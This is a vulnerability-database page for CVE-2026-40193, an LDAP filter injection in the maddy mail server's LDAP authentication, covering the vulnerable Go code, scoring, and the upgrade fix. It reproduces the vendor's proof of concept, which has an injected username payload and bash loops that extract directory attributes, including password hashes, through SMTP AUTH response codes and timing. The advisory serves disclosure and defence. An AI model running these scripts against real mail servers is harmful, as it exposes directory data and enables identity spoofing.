Skip to main content

LDAP CVE-2026-40193

HIGH
LDAP Injection (CWE-90)
2026-04-13 https://github.com/foxcpp/maddy GHSA-5835-4gvc-32pc
8.2
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Connect to SMTP port 587/IMAP port 143
  2. Delivery
    Send AUTH PLAIN with LDAP injection payload
  3. Exploit
    Trigger unescaped filter construction in auth.ldap module
  4. Install
    LDAP directory processes manipulated filter
  5. C2
    Observe authentication response timing/success
  6. Execute
    Extract sensitive attributes character-by-character
  7. Impact
    Authenticate as spoofed identity or exfiltrate directory data

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization LDAP query parameterization
MITRE ATT&CK

1 technique across 1 tactic: Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the target maddy instance to be configured with the auth.ldap module enabled and either the filter or dn_template directive specified in the configuration file (not default configuration - requires explicit administrator setup). The attacker must have network connectivity to maddy's SMTP submission port (typically 587) or IMAP port (143/993) - these are legitimately exposed services in mail server deployments. For boolean-based blind injection attacks that extract attributes of the attacker's own LDAP account, valid credentials for at least one directory user are required (authentication level: low-privileged user). For timing-based attacks extracting attributes of other users, no valid credentials are needed (PR:N matches CVSS vector). The underlying LDAP directory must be reachable from the maddy server and must contain at least one user entry matching the base DN and object class in the filter template. No specific LDAP server version or configuration is required - the vulnerability is in maddy's client-side filter construction. User interaction is not required (UI:N). Exploitation works against default maddy LDAP authentication configurations and does not depend on non-default settings beyond the decision to use LDAP authentication itself.

Impact

Real-world risk is elevated due to the combination of network-accessible attack vector (AV:N), low complexity (AC:L), no authentication requirement (PR:N), and high confidentiality impact (C:H) per CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N. The 8.2 CVSS score accurately reflects the technical severity. However, exploitability depends on the target deploying maddy with auth.ldap enabled and either the filter or dn_template directive configured - this is not a default configuration but represents a significant subset of production maddy deployments. The vendor-provided proof-of-concept demonstrates practical exploitation with both boolean-based blind injection (using authentication success/failure as an oracle) and timing-based attacks (measuring LDAP bind latency differences). The detailed PoC significantly lowers the skill threshold for exploitation. No CISA KEV listing or public exploit code has been identified, suggesting exploitation remains theoretical or limited to security research contexts. EPSS probability score is unavailable for this 2026 CVE. From an SSVC perspective: exploitation status is POC-available, automatable (protocol-level injection requires no user interaction), technical impact is total compromise of LDAP directory confidentiality plus partial integrity impact via identity spoofing. Prioritization should focus on installations using LDAP authentication, particularly those exposing SMTP/IMAP to untrusted networks. The low integrity impact (I:L) reflects that while attackers can spoof authenticated sessions, they cannot modify LDAP directory contents directly through this vulnerability.

Exploit ScenarioDerived

An external attacker connects to the target's internet-facing SMTP submission service on port 587 and initiates STARTTLS negotiation. They send an AUTH PLAIN command with a base64-encoded credential blob containing the injected username 'bob)(description=S*' paired with a known or brute-forced password for user 'bob'. The maddy server constructs the LDAP filter (&(objectClass=inetOrgPerson)(uid=bob)(description=S*)) without escaping, queries the directory, and returns authentication success (235) if bob's description attribute starts with 'S', or failure (535) otherwise. By iterating through character sets and observing response codes, the attacker extracts bob's full description field value, then pivots to extracting userPassword hashes or other sensitive attributes. The attacker can repeat this process for any LDAP attribute across all directory users using timing side-channels when credentials are unknown. Public proof-of-concept code demonstrating both boolean-based and timing-based extraction techniques is available in the vendor advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Apr 16, 2026

LDAP injection in maddy mail server versions before 0.9.3 allows remote unauthenticated attackers to extract sensitive directory attributes and spoof user identities. The auth.ldap module fails to escape user-supplied usernames before interpolating them into LDAP search filters and DN strings, despite having the ldap.EscapeFilter() function available. Attackers can exploit this via SMTP AUTH PLAIN or IMAP LOGIN interfaces to perform boolean-based blind injection attacks that extract password hashes, email addresses, group memberships, and other LDAP attributes character-by-character. While CVSS rates this 8.2 (High) for network-accessible unauthenticated exploitation with high confidentiality impact, no active exploitation (KEV) or weaponized POC has been identified at time of analysis. EPSS data not available for this recent CVE.

Earlier versions of this analysis (1)
v1 Apr 15, 2026 - 12:35 CVSS 8.2

LDAP filter injection in maddy mail server (all versions prior to 0.9.3) enables remote unauthenticated attackers to extract arbitrary LDAP directory attributes, spoof identities, and enumerate user accounts via crafted SMTP AUTH PLAIN or IMAP LOGIN requests. The auth.ldap module performs zero input sanitization on usernames before constructing LDAP search filters, despite importing the required escaping function from go-ldap/ldap/v3. Exploitation requires only network access to submission ports (587) or IMAP (143/993) against instances using auth.ldap with filter or dn_template directives. CVSS 8.2 (AV:N/AC:L/PR:N/UI:N) reflects the remotely exploitable nature and high confidentiality impact; patch available in maddy 0.9.3.

RemediationAI

Upgrade immediately to maddy version 0.9.3, released at https://github.com/foxcpp/maddy/releases/tag/v0.9.3, which implements proper LDAP filter escaping via ldap.EscapeFilter() at all three injection points (commit 6a06337eb41fa87a35697366bcb71c3c962c44ba available at https://github.com/foxcpp/maddy/commit/6a06337eb41fa87a35697366bcb71c3c962c44ba). For environments unable to upgrade immediately, disable the auth.ldap module entirely and switch to alternative authentication backends (auth.pam, auth.pass_table, or external authentication) until patching is possible - note this will disrupt LDAP-based user authentication and require reconfiguration of authentication sources. Network-level mitigations have limited effectiveness since the vulnerability is triggered through legitimate protocol interfaces (SMTP AUTH, IMAP LOGIN), but restricting SMTP submission and IMAP access to trusted IP ranges via firewall rules reduces attacker surface area at the cost of breaking remote mail client access. Web application firewalls or protocol-aware proxies cannot effectively filter LDAP injection payloads in base64-encoded AUTH PLAIN commands without breaking legitimate authentication attempts containing special characters in usernames.

Affected Packages

go github.com/foxcpp/maddy fix: 0.9.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in go

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability affects the maddy mail server's LDAP authentication module (auth.ldap), specifically in internal/auth/ldap/ldap.go. The code uses Go's strings.ReplaceAll() to directly substitute user-controlled username values into LDAP filter templates and DN strings without invoking ldap.EscapeFilter() from the go-ldap/ldap/v3 library. LDAP injection (CWE-90) occurs when special characters like parentheses, asterisks, and backslashes in LDAP filter syntax are not properly escaped before concatenation. Three distinct injection points exist: the Lookup() function at line 228 (filter injection), AuthPlain() at line 255 (DN template injection), and AuthPlain() at line 260 (filter injection). The go-ldap/ldap/v3 library provides RFC 4515-compliant escaping functions that neutralize metacharacters, but the maddy codebase never invokes them on user input flowing from protocol handlers (SMTP submission port 587, IMAP ports 143/993) to LDAP queries. This is a classic input validation failure where the sanitization function exists in-scope but is not called in the data flow path.

Know when LDAP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 8.2 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
SUSE HIGH

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
None

Lifecycle Timeline

2
Patch released
Apr 13, 2026 - 19:30 nvd
Patch available
CVE Published
Apr 13, 2026 - 19:22 nvd
HIGH 8.2

DescriptionGitHub Advisory

Summary

The auth.ldap module constructs LDAP search filters and DN strings by directly interpolating user-supplied usernames via strings.ReplaceAll() without any LDAP filter escaping. An attacker who can reach the SMTP submission (AUTH PLAIN) or IMAP LOGIN interface can inject arbitrary LDAP filter expressions through the username field, enabling identity spoofing, LDAP directory enumeration, and attribute value extraction. The go-ldap/ldap/v3 library-already imported in the same file-provides ldap.EscapeFilter() specifically for this purpose, but it is never called.

Patched version

Upgrade to maddy 0.9.3.

Details

Affected file: internal/auth/ldap/ldap.go

Three locations substitute the raw, attacker-controlled username into LDAP filter or DN strings with no escaping:

1. Lookup() - line 228 (filter injection)

go
func (a *Auth) Lookup(_ context.Context, username string) (string, bool, error) {
    // ...
    req := ldap.NewSearchRequest(
        a.baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases,
        2, 0, false,
        strings.ReplaceAll(a.filterTemplate, "{username}", username),  // <-- NO ESCAPING
        []string{"dn"}, nil)

2. AuthPlain() - line 255 (DN template injection)

go
func (a *Auth) AuthPlain(username, password string) error {
    // ...
    if a.dnTemplate != "" {
        userDN = strings.ReplaceAll(a.dnTemplate, "{username}", username)  // <-- NO ESCAPING

3. AuthPlain() - line 260 (filter injection)

go
    } else {
        req := ldap.NewSearchRequest(
            a.baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases,
            2, 0, false,
            strings.ReplaceAll(a.filterTemplate, "{username}", username),  // <-- NO ESCAPING
            []string{"dn"}, nil)

The go-ldap/ldap/v3 library (v3.4.10, imported at line 17) provides ldap.EscapeFilter() which escapes (, ), *, \, and NUL per RFC 4515. It is never called on user input.

No input validation or filter escaping occurs at any point from the protocol handler to the LDAP query.

PoC

Prerequisites:

  • A maddy instance configured with auth.ldap using a filter directive
  • An LDAP directory (e.g., OpenLDAP) with at least one user
  • Network access to maddy's SMTP submission port (587) or IMAP port (993/143)

Step 1: Vulnerable maddy configuration

auth.ldap ldap_auth {
    urls ldap://ldapserver:389
    bind plain "cn=admin,dc=example,dc=org" "adminpassword"
    base_dn "ou=people,dc=example,dc=org"
    filter "(&(objectClass=inetOrgPerson)(uid={username}))"
}

submission tcp://0.0.0.0:587 {
    auth &ldap_auth
# ...
}

Assume the LDAP directory contains users alice (password: alice_pass) and bob (password: bob_pass).

Step 2: Verify normal authentication works

bash
# Encode AUTH PLAIN: \x00alice\x00alice_pass
AUTH_BLOB=$(printf '\x00alice\x00alice_pass' | base64)
# Connect via SMTP submission with STARTTLS
openssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet <<EOF
EHLO test
AUTH PLAIN $AUTH_BLOB
QUIT
EOF
# Expected: 235 Authentication succeeded

Step 3: Boolean-based blind LDAP injection (attribute extraction)

An attacker who holds valid credentials for any one account can extract that account's LDAP attributes character by character, using the authentication result (235 vs 535) as a boolean oracle.

bash
# Scenario: attacker knows bob's password ("bob_pass").
# Goal: extract bob's "description" attribute value one character at a time.
#
# Injected username: bob)(description=S*
# Resulting filter:  (&(objectClass=inetOrgPerson)(uid=bob)(description=S*))
#
# If bob's description starts with "S" → filter matches 1 entry (bob)
#   → conn.Bind(bob_DN, "bob_pass") succeeds → 235 (SUCCESS)
# If not → filter matches 0 entries → 535 (FAILURE)
#
# By iterating characters, the attacker reconstructs the full attribute value.
# Test: does bob's description start with "S"?
INJECTED='bob)(description=S*'
AUTH_BLOB=$(printf "\x00${INJECTED}\x00bob_pass" | base64)
openssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet <<EOF
EHLO test
AUTH PLAIN $AUTH_BLOB
QUIT
EOF
# 235 → yes, starts with "S"
# Narrow: does it start with "Se"?
INJECTED='bob)(description=Se*'
AUTH_BLOB=$(printf "\x00${INJECTED}\x00bob_pass" | base64)
# ... repeat until full value is extracted
# This works for ANY LDAP attribute: userPassword hashes, mail,
# telephoneNumber, memberOf, etc.

For extracting attributes of other users (whose password the attacker does not know), a timing side-channel is used instead. The AuthPlain() function has two distinct failure paths:

  • 0 entries matched (line 270): returns ErrUnknownCredentials immediately - fast
  • 1 entry matched, bind fails (line 275): performs conn.Bind() over the network, then returns - slow (adds LDAP bind round-trip latency)

Both return SMTP 535, but the timing difference is measurable:

bash
# Target: extract alice's "description" attribute.
# Attacker does NOT know alice's password.
#
# Injected username: alice)(description=S*
# Resulting filter:  (&(objectClass=inetOrgPerson)(uid=alice)(description=S*))
#
# If alice's description starts with "S":
#   → 1 match → conn.Bind(alice_DN, "wrong") → bind fails → 535 (SLOW)
# If not:
#   → 0 matches → immediate 535 (FAST)
#
# Timing delta ≈ LDAP bind RTT (typically 1-10ms on LAN, more over WAN)

for c in {a..z} {A..Z} {0..9}; do
    INJECTED="alice)(description=${c}*"
    AUTH_BLOB=$(printf "\x00${INJECTED}\x00wrong" | base64)
    START=$(date +%s%N)
    echo -e "EHLO test\r\nAUTH PLAIN ${AUTH_BLOB}\r\nQUIT\r\n" | \
        openssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet 2>/dev/null
    END=$(date +%s%N)
    ELAPSED=$(( (END - START) / 1000000 ))
    echo "char='$c' time=${ELAPSED}ms"
done
# Characters with significantly longer response times indicate a filter match.

Impact

Who is affected: Any maddy deployment that uses the auth.ldap module with either the filter or dn_template directive. Both SMTP submission (AUTH PLAIN) and IMAP (LOGIN) authentication are affected.

What an attacker can do:

  1. Identity spoofing: An attacker who knows any valid user's password can authenticate using an injected username that resolves to that user's DN via LDAP filter manipulation. The authenticated session identity (connState.AuthUser in SMTP, username passed to IMAP storage lookup) is the raw injected string, not the actual LDAP user. This can bypass username-based authorization policies downstream.
  2. LDAP directory enumeration: By injecting wildcard filters (*) and observing error responses (e.g., "too many entries" vs. "unknown credentials"), an attacker can determine the number of users, probe for the existence of specific accounts, and discover directory structure.
  3. Attribute value extraction via boolean-based blind injection: An attacker who holds valid credentials for any one LDAP account can inject additional filter conditions (e.g., bob)(description=X*) that turn the authentication response into a boolean oracle, and the same technique works via a timing side-channel.
  4. DN template path traversal: When dn_template is used instead of filter (line 255), injected characters can manipulate the DN structure, potentially targeting entries in different organizational units or directory subtrees.

Executive ViewAI

Why It Matters

maddy mail server versions before 0.9.3 contain an LDAP injection vulnerability in the authentication module that allows unauthenticated remote attackers to extract sensitive directory information including password hashes and user credentials through SMTP and IMAP interfaces. Organizations running maddy must upgrade immediately, as this vulnerability exposes user identity data and enables account spoofing without requiring prior authentication.

Business Impact: High
Compensating Controls

Apply vendor patch (maddy version 0.9.3 or later). If immediate patching is not possible: restrict network access to SMTP (port 25, 587) and IMAP (port 143, 993) to trusted IP ranges only; implement rate limiting on authentication failures; monitor LDAP query logs for anomalous filter patterns (boolean operators, wildcard injections); consider disabling LDAP authentication temporarily in favor of alternative auth backends until patching is complete.

Threat Intelligence Overview

EPSS Score
0.1%
Top 81% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Partial

Priority Score

41
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +41
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Affected Products (CPE)GitHub Advisory

pkg:go/github.com_foxcpp_maddy

More in LDAP

View all
CVE-2016-9299 CRITICAL POC
9.8 Jan 12

The remoting module in Jenkins before 2.32 and LTS before 2.19.3 allows remote attackers to execute arbitrary code via a

CVE-2017-14596 CRITICAL POC
9.8 Sep 20

In Joomla!. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploitable, no authentication required,

CVE-2017-8790 CRITICAL POC
9.8 May 05

An issue was discovered on Accellion FTA devices before FTA_9_12_180. Rated critical severity (CVSS 9.8), this vulnerabi

CVE-2023-28853 MEDIUM POC
6.5 Apr 04

Mastodon is a free, open-source social network server based on ActivityPub Mastodon allows configuration of LDAP for aut

CVE-2020-36966 MEDIUM POC
6.4 Jan 30

Dolibarr 11.0.3 contains a persistent cross-site scripting vulnerability in LDAP synchronization settings that allows at

CVE-2025-36556 MEDIUM POC
6.1 Jan 20

A reflected cross-site scripting (xss) vulnerability exists in the ldapUser functionality of MedDream PACS Premium 7.3.6

CVE-2026-23906 CRITICAL
9.8 Feb 10

Authentication bypass in Apache Druid versions 0.17.0 through 35.x. Affects all versions prior to 36.0.0 when specific p

CVE-2026-44930 CRITICAL
9.8 May 22

Arbitrary certificate disclosure in Apache CXF's XKMS server lets remote attackers abuse an LDAP injection flaw (CWE-90)

CVE-2024-33868 CRITICAL
9.8 May 14

An issue was discovered in linqi before 1.4.0.1 on Windows. Rated critical severity (CVSS 9.8), this vulnerability is re

CVE-2023-6905 CRITICAL
9.8 Dec 18

A vulnerability, which was classified as problematic, has been found in Jahastech NxFilter 4.3.2.5.jsp?actionFlag=test&i

CVE-2021-43350 CRITICAL
9.8 Nov 11

An unauthenticated Apache Traffic Control Traffic Ops user can send a request with a specially-crafted username to the P

CVE-2026-46619 CRITICAL
9.3 Jun 26

Authentication bypass in Open Identity Platform OpenAM Community Edition (through 16.0.6) lets an unauthenticated remote

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy